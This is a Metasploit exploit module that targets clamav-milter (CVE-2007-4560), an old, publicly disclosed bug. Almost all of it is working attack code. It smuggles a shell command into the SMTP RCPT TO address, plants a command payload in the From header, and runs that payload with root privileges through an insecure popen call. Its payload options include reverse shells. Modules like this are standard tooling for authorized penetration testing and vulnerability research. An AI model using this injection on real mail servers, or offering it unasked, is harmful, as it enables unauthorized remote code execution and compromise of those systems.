ClamAV Milter Blackhole-Mode Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Smtp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
      'Description'    => %q{
          This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
        (Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
        When implemented with black hole mode enabled, it is possible to execute
        commands remotely due to an insecure popen call.
      },
      'Author'         => [ 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-4560' ],
          [ 'OSVDB', '36909' ],
          [ 'BID', '25439' ],
          [ 'EDB', '4761' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic perl ruby bash-tcp telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          [ 'Automatic', { }],
        ],
      'DisclosureDate' => '2007-08-24',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
      ])
  end

  def exploit

    # ClamAV writes randomized msg.###### temporary files in a randomized
    # /tmp/clamav-#######################/ directory. This directory is
    # the clamav-milter process working directory.
    #
    # We *can* execute arbitrary code directly from 'sploit', however the
    # SMTP RFC rejects all payloads with the exception of generic CMD
    # payloads due to the IO redirects. I discovered that the 'From:'
    # header is written to this temporary file prior to the vulnerable
    # call, so we call the file itself and payload.encoded is executed.

    sploit = "sh msg*" # Execute the clamav-milter temporary file.

    # Create the malicious RCPT TO before connecting,
    # to make good use of the Msf::Exploit::Smtp support.

    oldaddr = datastore['MAILTO']
    newaddr = oldaddr.split('@')

    datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"

    connect_login

    sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
    sock.put(".\r\n")

    # Clean up RCPT TO afterwards

    datastore['MAILTO'] = oldaddr

    handler
    disconnect
  end
end